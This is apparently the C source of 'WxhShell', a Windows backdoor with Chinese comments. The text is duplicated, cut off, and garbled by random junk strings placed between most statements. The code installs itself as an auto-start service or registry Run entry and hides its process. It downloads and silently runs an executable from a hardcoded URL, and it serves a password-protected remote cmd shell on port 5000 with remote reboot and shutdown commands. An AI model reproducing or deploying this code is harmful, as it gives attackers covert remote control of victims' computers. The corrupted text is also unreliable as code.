static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E=>FjCsu<- static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .ox8*OO< %d?cP}V HANDLE hProcess; .7l&1C)i PROCESS_BASIC_INFORMATION pbi; *g6n qWODs HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EJsM(iG]~M if(NULL == hInst ) return 0; .w0s%T,8}^ cUY`97bn g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <Dwar>} g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;\=M;Zt NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
[N/"5
[ h&--,A > if (!NtQueryInformationProcess) return 0; /(iFcMT =zKhz8B( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cn "s`
q if(!hProcess) return 0; 1(|'WyD 1`a5C.v if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C!fMW+C@ BFo5\l:q8 CloseHandle(hProcess); LUqB&,a} [[;e)SoA hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6f\Lf?vF if(hProcess==NULL) return 0; 0a}u;gt,4w jpO7'ivG HMODULE hMod; BK,{N0 char procName[255]; 4iKgg[)7`= unsigned long cbNeeded; X{\F;Cb* `NgAT
3zq if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nv@8tdrc ~c %hWt CloseHandle(hProcess); kic/*v\6@ Uc@Ao: if(strstr(procName,"services")) return 1; // 以服务启动 4`!Z$kt Jo@|"cE= return 0; // 注册表启动 no<
^f]33 } @>W(1mRi Z@]e{zO // 主模块 .
r[Hu40p int StartWxhshell(LPSTR lpCmdLine) +f@U6Vv { cd$m25CxC SOCKET wsl; a{
?`t| BOOL val=TRUE; {TX]\ufG int port=0; z7Q?D^miy struct sockaddr_in door; NhaI<J NiU2@zgl if(wscfg.ws_autoins) Install(); ]%?YZn<{ G>1eFBh } port=atoi(lpCmdLine); 1T-8K
r M#As0~y if(port<=0) port=wscfg.ws_port; ]
:BX!< sB c
(gr WSADATA data; *# tJM.Z if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;|vpwB@B <gJU?$ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; IE9XU9Kd setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W9D86]3Y door.sin_family = AF_INET; j(RWO door.sin_addr.s_addr = inet_addr("127.0.0.1"); j^^Ap door.sin_port = htons(port); DDPxmuNG 1:f9J if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z|5?7v;h5 closesocket(wsl); c6X}2a' return 1; d5D$&5Ec } ?34 e- Z; A`oKd if(listen(wsl,2) == INVALID_SOCKET) { <;#~l* closesocket(wsl); &!/}Qp return 1; ^(|vsFzn } `"&da#N] Wxhshell(wsl); SRrw0&ts WSACleanup(); @@8J6*y #m{UrTC return 0; nij!1z|M D"J!\_o } #ZYVc|sT+ 5ZMR,SZhC // 以NT服务方式启动 $CY't'6Hn VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -5I2ga { 2Fq<*pxAY
DWORD status = 0; BPdfYu,il DWORD specificError = 0xfffffff; o[cV1G LAd\ Tvms serviceStatus.dwServiceType = SERVICE_WIN32; pBETA'fY serviceStatus.dwCurrentState = SERVICE_START_PENDING; JWMpPzs serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q.2ykL serviceStatus.dwWin32ExitCode = 0; 3>R#zJf serviceStatus.dwServiceSpecificExitCode = 0; %=/) serviceStatus.dwCheckPoint = 0; ~Uxsn@nLr serviceStatus.dwWaitHint = 0; Vzwc}k*Y rfNm&!K hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 't6V:X if (hServiceStatusHandle==0) return; l&?}hq^'Dn [$ejp>'Ud status = GetLastError(); |b|&XB_<]Z if (status!=NO_ERROR) )*,5"CO { k[HAkB \{ serviceStatus.dwCurrentState = SERVICE_STOPPED; tb$LriN serviceStatus.dwCheckPoint = 0; brdmz} serviceStatus.dwWaitHint = 0; 0 0M@ serviceStatus.dwWin32ExitCode = status; `.x
Fiyc serviceStatus.dwServiceSpecificExitCode = specificError; A@sZ14+f SetServiceStatus(hServiceStatusHandle, &serviceStatus); |m80]@> return; -eN\ ! } `kU/NKq ho0@ l serviceStatus.dwCurrentState = SERVICE_RUNNING; 69J4=5lX serviceStatus.dwCheckPoint = 0;
AiK serviceStatus.dwWaitHint = 0; C@bm if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o]p|-<I Q } |Tm!VFd DBT&DS // 处理NT服务事件,比如:启动、停止 ^9ePfF)5 VOID WINAPI NTServiceHandler(DWORD fdwControl) -*m+(7G\ { FxVZ[R switch(fdwControl) kn>$lTHQ { 9\]^|?zQ` case SERVICE_CONTROL_STOP: yq NzdzX serviceStatus.dwWin32ExitCode = 0; Wh%ucX& serviceStatus.dwCurrentState = SERVICE_STOPPED; RW }"2 serviceStatus.dwCheckPoint = 0; yRiP{$E serviceStatus.dwWaitHint = 0; &'DU0c& { mGGsB5#w> SetServiceStatus(hServiceStatusHandle, &serviceStatus); T9u <p=p } QNxl/y\l0 return; $.GOZqMs case SERVICE_CONTROL_PAUSE: <]b7ZF] serviceStatus.dwCurrentState = SERVICE_PAUSED; a)#1{JaoY break; k}0^&Quc4 case SERVICE_CONTROL_CONTINUE: ijdXU8 serviceStatus.dwCurrentState = SERVICE_RUNNING; <F.Tx$s break; JGH60| case SERVICE_CONTROL_INTERROGATE: DNj"SF(J break; WN_pd%m }; Hx\H $Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); h<SQL97N } Ko/ I#) ]sGHG^I6 // 标准应用程序主函数 K%X^n>O7C int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D*YM[sN` { 8kIR y YI.w-K\ // 获取操作系统版本 i7utKj*57 OsIsNt=GetOsVer(); bLd#xXl GetModuleFileName(NULL,ExeFile,MAX_PATH); X0M1(BJgGo YcN!T"wJ@ // 从命令行安装 C,pJ`:P if(strpbrk(lpCmdLine,"iI")) Install(); '^FGc lME)?LOI // 下载执行文件 &_gTD if(wscfg.ws_downexe) { ]Wq?H-B{ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \;mH(- WinExec(wscfg.ws_filenam,SW_HIDE); !k/Pv\j/R } NM6Teu_ P b]3&!a if(!OsIsNt) { e4z1`YLsG // 如果时win9x,隐藏进程并且设置为注册表启动 j`*#v HideProc(); P7x = StartWxhshell(lpCmdLine); wj1{M.EF\ } p IKSs<IP else v^_mFp-}\ if(StartFromService()) {|yob4N // 以服务方式启动 fz3lV StartServiceCtrlDispatcher(DispatchTable); ~35U]s@v else /2HN>{F^Y // 普通方式启动 Cc, `}SP StartWxhshell(lpCmdLine); %T[^D&9$, =Odv8yhn return 0; x
$zKzfHW } S>0nx ^P ZZ.m(ATR D^-7JbE] Kmdlf,[3d =========================================== RJON90,J cn-
nj] (
&frUQm VT.;:Q TcGoSj<Z h#hxOVl%x " 5 XA=G i]#+1Hf #include <stdio.h> A;O~#Chvd #include <string.h> \ AC|?/sH #include <windows.h> DtEwW1J #include <winsock2.h> $\"9<o|h #include <winsvc.h> v*qQ? S #include <urlmon.h> 'vbc#_; ;kJu$U #pragma comment (lib, "Ws2_32.lib") )Y8",Ig #pragma comment (lib, "urlmon.lib") XZ/[v8 IB`>'~s&A #define MAX_USER 100 // 最大客户端连接数 xwH?0/ #define BUF_SOCK 200 // sock buffer D>!6,m2 #define KEY_BUFF 255 // 输入 buffer ,\aUq|~ Jz! Z2c #define REBOOT 0 // 重启 Fbp{,V@F2 #define SHUTDOWN 1 // 关机 u?[ q=0.J7 ZK'-U,Y.H7 #define DEF_PORT 5000 // 监听端口 )C. yF)Ql &
``d #define REG_LEN 16 // 注册表键长度
4\& #define SVC_LEN 80 // NT服务名长度 oiH|uIsqR i0s6aAhgJ // 从dll定义API AC.A'|"]i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G8I Y# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zh/Uu6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M@thI%lR typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \Yoa:|%*y =9LC<2 // wxhshell配置信息 s:AkkkF struct WSCFG { $oLU; q% int ws_port; // 监听端口 3[XQR8o char ws_passstr[REG_LEN]; // 口令 ^MmC$U^n int ws_autoins; // 安装标记, 1=yes 0=no !%Y~~'5 h char ws_regname[REG_LEN]; // 注册表键名 XTDE53Js& char ws_svcname[REG_LEN]; // 服务名 hGf-q?7 char ws_svcdisp[SVC_LEN]; // 服务显示名 ^<0IB#dA char ws_svcdesc[SVC_LEN]; // 服务描述信息 [ "xn5lE char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /i)Hb`(S int ws_downexe; // 下载执行标记, 1=yes 0=no -K[782Q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !?[oIQ)h char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fB+b}aoV *wV[TKaN }; gq5qRi`q ^\:2}4Uj_ // default Wxhshell configuration t?^9HP1b_ struct WSCFG wscfg={DEF_PORT, 9B+wYJp "xuhuanlingzhe", =raA?Bp3;( 1, n$2 RCQ "Wxhshell", .~}z4r "Wxhshell", )h^NR3N "WxhShell Service", r?l;I3~ "Wrsky Windows CmdShell Service", ZB5?!.ND "Please Input Your Password: ", !~lW3 1, +dkS/b "http://www.wrsky.com/wxhshell.exe", 3hq1yyec "Wxhshell.exe" 0W>9'Rw }; y7<&vIEC ^^(<c,NX#M // 消息定义模块 /!Z^Y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !ax;5 @J char *msg_ws_prompt="\n\r? for help\n\r#>"; Poa?Ej char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w5]l1}rl char *msg_ws_ext="\n\rExit."; s>z2 k char *msg_ws_end="\n\rQuit."; KIL18$3J char *msg_ws_boot="\n\rReboot..."; HBLWOQab char *msg_ws_poff="\n\rShutdown..."; 2r];V'r char *msg_ws_down="\n\rSave to "; bO49GEUT _ uC~g#[I QM char *msg_ws_err="\n\rErr!"; .F0]6#( char *msg_ws_ok="\n\rOK!"; W'_/6_c$! hbuZaxo< char ExeFile[MAX_PATH]; R V!o4"\] int nUser = 0; DM3B]Yl HANDLE handles[MAX_USER]; S 2$5!(P int OsIsNt; b2h":G|s F,G,b SERVICE_STATUS serviceStatus; 6CNS%\A SERVICE_STATUS_HANDLE hServiceStatusHandle; )-&nxOP jeDlH6X' // 函数声明 b?kPN:U#N/ int Install(void); *kaJ*Ti-/ int Uninstall(void); Sb^
b)q" int DownloadFile(char *sURL, SOCKET wsh); L2Ux9_S int Boot(int flag); ~HP
LV void HideProc(void); ]Sta]}VQ int GetOsVer(void); _1JmjIH)M int Wxhshell(SOCKET wsl); PO
ko]@~!i void TalkWithClient(void *cs); sT<{SmBF int CmdShell(SOCKET sock); X*Z5 P int StartFromService(void); dE>v\0 3!8 int StartWxhshell(LPSTR lpCmdLine); ^now}u9S6 ' yNPhI VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZBj6KqfST% VOID WINAPI NTServiceHandler( DWORD fdwControl ); !cCg/ |t\KsW // 数据结构和表定义 L_*L`!vQA" SERVICE_TABLE_ENTRY DispatchTable[] = ida*]+ ~ { $T*KaX\{B {wscfg.ws_svcname, NTServiceMain}, 3%NE/lw1 {NULL, NULL} /8p&Qf>lJ1 }; dy_.(r5[L] C
MqM;1 // 自我安装 fH!=Zb_{8 int Install(void) 7l}~4dm2J { p#b{xK char svExeFile[MAX_PATH]; R+^z y"~ HKEY key; (^S5Sc= strcpy(svExeFile,ExeFile); 3Vu8F" tG 7+7Z= // 如果是win9x系统,修改注册表设为自启动 zMU68vwM if(!OsIsNt) { s1@@o#r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =n
}Yqny RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )tPl<lb RegCloseKey(key); NhtEW0xCr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J_/05(48 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %EB;1 RegCloseKey(key); 0HPO"x3-O return 0; l-=e62I{=| } E<a.LW@ } (qk5f`O } F25<+1kr else { sVD([`Nmc j}RM.C\7 // 如果是NT以上系统,安装为系统服务 akrCs&Kka5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t!savp if (schSCManager!=0) 8AX3C s_G { g!5#,kJM SC_HANDLE schService = CreateService o?=fhc ( RD9Yk schSCManager, u p~@?t2 wscfg.ws_svcname, &`sR){R wscfg.ws_svcdisp, agTK= SERVICE_ALL_ACCESS, %((cFQ9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T=yCN#cqQ` SERVICE_AUTO_START, i\Q":4 SERVICE_ERROR_NORMAL, >!G5]?taa svExeFile, &0h=4i=6r NULL, p(7c33SyF NULL, (T2<!&0 @ NULL, dff#{ NULL, :9O|l)N)W= NULL `0[fLEm ); SJF 2k[da if (schService!=0) ~:s!].H { rX)o3>q^? CloseServiceHandle(schService); =~;zVP CloseServiceHandle(schSCManager); ep`/:iY W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @s?oJpo strcat(svExeFile,wscfg.ws_svcname); {!tOI if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zlN+edgY#, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x6~Fb~aP RegCloseKey(key); # m_\1&g return 0; t3M0La& } KD9Ca $- } B4 <_"0 CloseServiceHandle(schSCManager); OT"lP(, } ~CJYQFt } cxk=|
?l "vvFq ,c return 1; s~#?9vW } >d)|r _qk9o // 自我卸载 rcpvH}N: int Uninstall(void) 6.vNe { r6<ArX$Yl HKEY key; DvU~%%(0^ W|)(|W if(!OsIsNt) { s>V*=#L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "%Lmgy:~ RegDeleteValue(key,wscfg.ws_regname); 2GUhV*TN RegCloseKey(key); MQhYJ01i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C=M? RegDeleteValue(key,wscfg.ws_regname); 8F.(]@NY RegCloseKey(key); 8g&uE*7N return 0; ~V|KT}H } 1.xw'i } ~91uk3ST? } ;9
R40qi else { 8HB?=a2Q<' HL|0 d
} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N n:m+ZDo^ if (schSCManager!=0) mT}Aje-L { v UJ sFR SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5,g$|,Shv if (schService!=0) a'c9XG} { \"{/yjO|4 if(DeleteService(schService)!=0) { aj%
`x4eA CloseServiceHandle(schService); '[0
3L9 CloseServiceHandle(schSCManager); 48W:4B'l9 return 0; ok8JnQC } (}~ 1{C@ CloseServiceHandle(schService); P2s^=J0@ } `7+tPbjs CloseServiceHandle(schSCManager); CAcOWwDm } q|m#IVc } 0R.Gjz*Q ntd
":BKi return 1; Nj"_sA
p } ZzSJm+&' `1DU b7< // 从指定url下载文件 c|8KT int DownloadFile(char *sURL, SOCKET wsh) C%qtCk_cN { ~0:$G?fz HRESULT hr; *NKC\aV`0 char seps[]= "/"; Y>c5:F; char *token; 0`zm>fh} char *file; JB: mbH char myURL[MAX_PATH]; bt.K<Y0 char myFILE[MAX_PATH]; !!\4'Q[ e/ppZ> strcpy(myURL,sURL); 5k_Mj*{6 token=strtok(myURL,seps); *m2d#f while(token!=NULL) GN8`xR{J* { #<^/yoH7C6 file=token; uugzIV) token=strtok(NULL,seps); M}{n6T6B } 4?*`: t2`X!` GetCurrentDirectory(MAX_PATH,myFILE); jp\JwE strcat(myFILE, "\\"); oQKcGUZ strcat(myFILE, file); [7CH(o1a& send(wsh,myFILE,strlen(myFILE),0); j.e`ip send(wsh,"...",3,0); s7X~OF(# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K[Ws/yc^a if(hr==S_OK) oc,U4+T return 0; (W{ rv6cq else j8F~j?%! return 1; Fb$5&~d ?.|wfBI } :$u{ 8=b{'s^^F // 系统电源模块 A@lhm`Aa int Boot(int flag) ACMpm~C8Gu { ` Mv5!H5l HANDLE hToken; -+Awm{X_@ TOKEN_PRIVILEGES tkp; j/; @P pU\xzL D if(OsIsNt) { '8((;N|I^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }*{\)7g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UeC%Wa<[ tkp.PrivilegeCount = 1; P+D|_3j tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C'xU=OnA8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jn#N7%{Mk if(flag==REBOOT) { G> 5=` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z.\[Va$@l return 0; '+GVozc6c" } }(hYG"5 else { *=KexOa9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '44nk(hM69 return 0; tS*^}e* } bsmoLT } [ a65VR~J else { RF\1.HJG if(flag==REBOOT) { oVxV,oH( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tkUW)ScJ return 0; %`<`z yf } Y+Q,4s else { ~,3v<A[5Vi if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a#~Z5>{ return 0; 8u~\]1( } Dk.9&9mz } .\hib.n3 |]
f"j': return 1; 5)o-]S> } 9lazo V.G9J!?<P // win9x进程隐藏模块 MX< ($M void HideProc(void) *j|Tm7C { , T%pGku `Mh<S+/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Wcay'#K, if ( hKernel != NULL ) $dWl A<u { 0e5-\a pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >t6'8g"T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,BN}H-W\2 FreeLibrary(hKernel); t&?v9n"X } C">=2OO =-B3vd:LF return; Ot:\h } ]mGsNQ ].H FlA$ G3 // 获取操作系统版本 ![MDmt5Ub^ int GetOsVer(void) 9gIJX? {
} C2i#;b OSVERSIONINFO winfo; H)}1xQ{3F winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _bV=G#qKK GetVersionEx(&winfo); H?r;S 5)c if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *#{.\R-D return 1; 4)I/\ else < c4RmnA return 0; *R~(:z>> } RX<^MzCDV JNz"lTt>[g // 客户端句柄模块 {II7%\ya int Wxhshell(SOCKET wsl) YF[!Hpzq { b<H6D} SOCKET wsh; NbK?Dg8WJG struct sockaddr_in client; A#07Ly8kXn DWORD myID; :+V1682u b-=[(]_$h while(nUser<MAX_USER) 0 VgnN { z E7ocul int nSize=sizeof(client); e hB1`%@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .$x[!fuuR& if(wsh==INVALID_SOCKET) return 1; <OO/Tn'a
oG_'<5Bv> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $@f3=NJ4k if(handles[nUser]==0) d/99!+r closesocket(wsh); ;[\2/$- else Gw\HL nUser++; r.G/f{=<@ } v'~nABYH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a0j.\g dfkTDG+ return 0; #dm@%~B{. } b2@x(5# e~~k}2~ // 关闭 socket F vk:c- void CloseIt(SOCKET wsh) F'_8pD7 { <rI$"=7 closesocket(wsh); %T*+t"\) nUser--; pvdZ>D-IU ExitThread(0); HG6{`i } PY:#F|uHS` fvAV[9/- // 客户端请求句柄 )mO;l/,0 void TalkWithClient(void *cs) <"Cwy0V kp { pnw4QQ9 S^"e5n2 SOCKET wsh=(SOCKET)cs; z00:59M4 char pwd[SVC_LEN]; GSb)|mj char cmd[KEY_BUFF]; =FJ9wiL char chr[1]; s6hWq&C int i,j; e.YchGTQ 7T;RXrT while (nUser < MAX_USER) { *R6eykp X@4d~6k? if(wscfg.ws_passstr) { F`}w0=-*( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uU!i`8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ={0{X9t?'j //ZeroMemory(pwd,KEY_BUFF); A;nmua-Fv i=0; =5_F9nk- while(i<SVC_LEN) { #i=^WN<V $I]x &cF // 设置超时 8GZjIW*0oq fd_set FdRead; bh"v{V`=0 struct timeval TimeOut; D&d:>.~u FD_ZERO(&FdRead); snNg:rTL FD_SET(wsh,&FdRead); !Jp.3,\?~ TimeOut.tv_sec=8; d_qVk4h\ TimeOut.tv_usec=0; ;xH'%W9z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c,%>7U(w_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !!#ale& q5?mP6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rBPxGBd4 pwd=chr[0]; ~:b~f]lO if(chr[0]==0xd || chr[0]==0xa) { C$;s+ALy[ pwd=0; !VTS
$nJ4 break; s;f u } M#2U'jy i++; 0x/V1?gm } &WU*cfJn)A _1%^ibn // 如果是非法用户,关闭 socket R~(.uV`#j if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IHmNi>E&/ } '^Np< a~EEow;A send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W>IKy# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ri0+nJ6 *4VP5]! while(1) { sjkl? _ g*AqFY7| ZeroMemory(cmd,KEY_BUFF); Wf w9cxGkf }X:r:{r // 自动支持客户端 telnet标准 phSP+/w j=0; _)"
5
gv while(j<KEY_BUFF) { % 7: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |
lfPd cmd[j]=chr[0]; xT>V;aa\ if(chr[0]==0xa || chr[0]==0xd) { %6:2cR cmd[j]=0; !_#js break; ;9sVWJJCw } )pH{b]t j++; qz2d'OhmtH } 7U0):11X# <v^.FxId // 下载文件 ]qRz!D%@^ if(strstr(cmd,"http://")) { 99-\cQv send(wsh,msg_ws_down,strlen(msg_ws_down),0); LEa:{s<: if(DownloadFile(cmd,wsh)) NtL?cWct send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^i7a2<
z else H9[.#+ln send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z28@yD+ } 8Qy |;T} else { 6>%NL"* ] `-2`UGB- switch(cmd[0]) { PrxXL/6 0CYI,V // 帮助 $OuA<- case '?': { O-Y E6u send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BpE[9N break; ?2c:|FD } $5O&[/L // 安装 >8-
` case 'i': { _JoA=<O! if(Install()) Yuck]?#0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7T78S&g else ^ 2tCDm5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]~,'[gWb break; ;[ojwcK[ZF } d1TG[i<J_ // 卸载 (Zkt2[E` case 'r': { Yr@ @ty if(Uninstall()) .kV/0!q? send(wsh,msg_ws_err,strlen(msg_ws_err),0); g5`YUr+3?h else WOoVVjMM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #,C{?0! break; 0KEl+ } d7Z\ // 显示 wxhshell 所在路径 u]-$]zIH case 'p': { \!Pm^FD
. char svExeFile[MAX_PATH]; yR-.OF,c strcpy(svExeFile,"\n\r"); I(|{/{P, strcat(svExeFile,ExeFile); &[xJfL send(wsh,svExeFile,strlen(svExeFile),0); VPzdT*g] break; ZgtOy|?| } wu3ZSLY // 重启 >d|W>|8e case 'b': { DoA f,9|_ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jkd8M;Jw if(Boot(REBOOT)) *{Vyt5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); A,@"(3 else { /);6 j,x closesocket(wsh); x8t1g,QA ExitThread(0); ,;;~dfHm } &kGSxYDk% break; XCY4[2*a> } I;LqyzM // 关机 4l:+>U@KU case 'd': { 5sRNqTIr send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?/D#ql7 if(Boot(SHUTDOWN)) ,KWeW^z'7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); [;}c@ else { ?Eed#pb_ closesocket(wsh); _GS2&|7` ExitThread(0); H.e@w3+h } 1k`!w} break; ?*HlAVDcFT } 7Uh}|6PU // 获取shell i "xq SLf= case 's': { O`4X[r1LD CmdShell(wsh); 6gn|WO=Wf closesocket(wsh); C" {j0X` ExitThread(0); gKnAw+u\ break; BehV
:M } @%K 8oYK // 退出 m`|+_{4[n case 'x': { j56Y,Tm send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #&^+hx| CloseIt(wsh); qH$p]+Rk 5 break; =KMck=#B } 3)sqAs( // 离开 9;jfg|x1[ case 'q': { -HOCxR send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z|.z~53; closesocket(wsh); 1*5n}cU~ WSACleanup(); fw5AZvE6$ exit(1); s<{c?4T break; mdwY48b } '5IJ;4k } "o`(
kYSF } YV9%^ZaN7 }v?{npEOt+ // 提示信息 h6# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c?|/c9f } wI:oe`?H } @#p4QEQA ;:cM^LJ return; d-4u*> } HO'
HkVA 3WhJ,~o-y // shell模块句柄 DwI)?a_+ int CmdShell(SOCKET sock) 6*%lnd+_ { D:f# STARTUPINFO si; HH dc[pJ0D ZeroMemory(&si,sizeof(si)); ]l4\/EW6 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,YH.n>`s+ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ofn:<d PROCESS_INFORMATION ProcessInfo; L^22,B
0 char cmdline[]="cmd"; p47~vgJN CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fK[9<"PC0 return 0; kG{(Qi } kb>9;-%^JK wvfCj6}S& // 自身启动模式 N24+P5 int StartFromService(void) ]HRE-g { 0GB6.Ggft typedef struct $*tuv? { %j'lWwi DWORD ExitStatus; #ws6z`mt DWORD PebBaseAddress; REa%kU DWORD AffinityMask; 79&Mc,69 DWORD BasePriority; YO=;)RA ULONG UniqueProcessId; SU*P@?:/} ULONG InheritedFromUniqueProcessId; ,y^By_1wS } PROCESS_BASIC_INFORMATION; ,5q^/h t
;[Me0 PROCNTQSIP NtQueryInformationProcess; t.m
$|M> ivt\|
> static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !-: a`Vs+ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f+d{^- >$}nKPC,Y HANDLE hProcess; Z:'2puU+? PROCESS_BASIC_INFORMATION pbi; d(k`Yk8 i+2J\.~U#G HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "~GudK & if(NULL == hInst ) return 0; 9"/{gf3D H94$Xi"Bd g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9[:nWp^ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /wmJMX NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9t= erhUr n32?GRp if (!NtQueryInformationProcess) return 0; mv5!fp_*7 NvYgRf}uh hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,TL~];J' if(!hProcess) return 0; {C
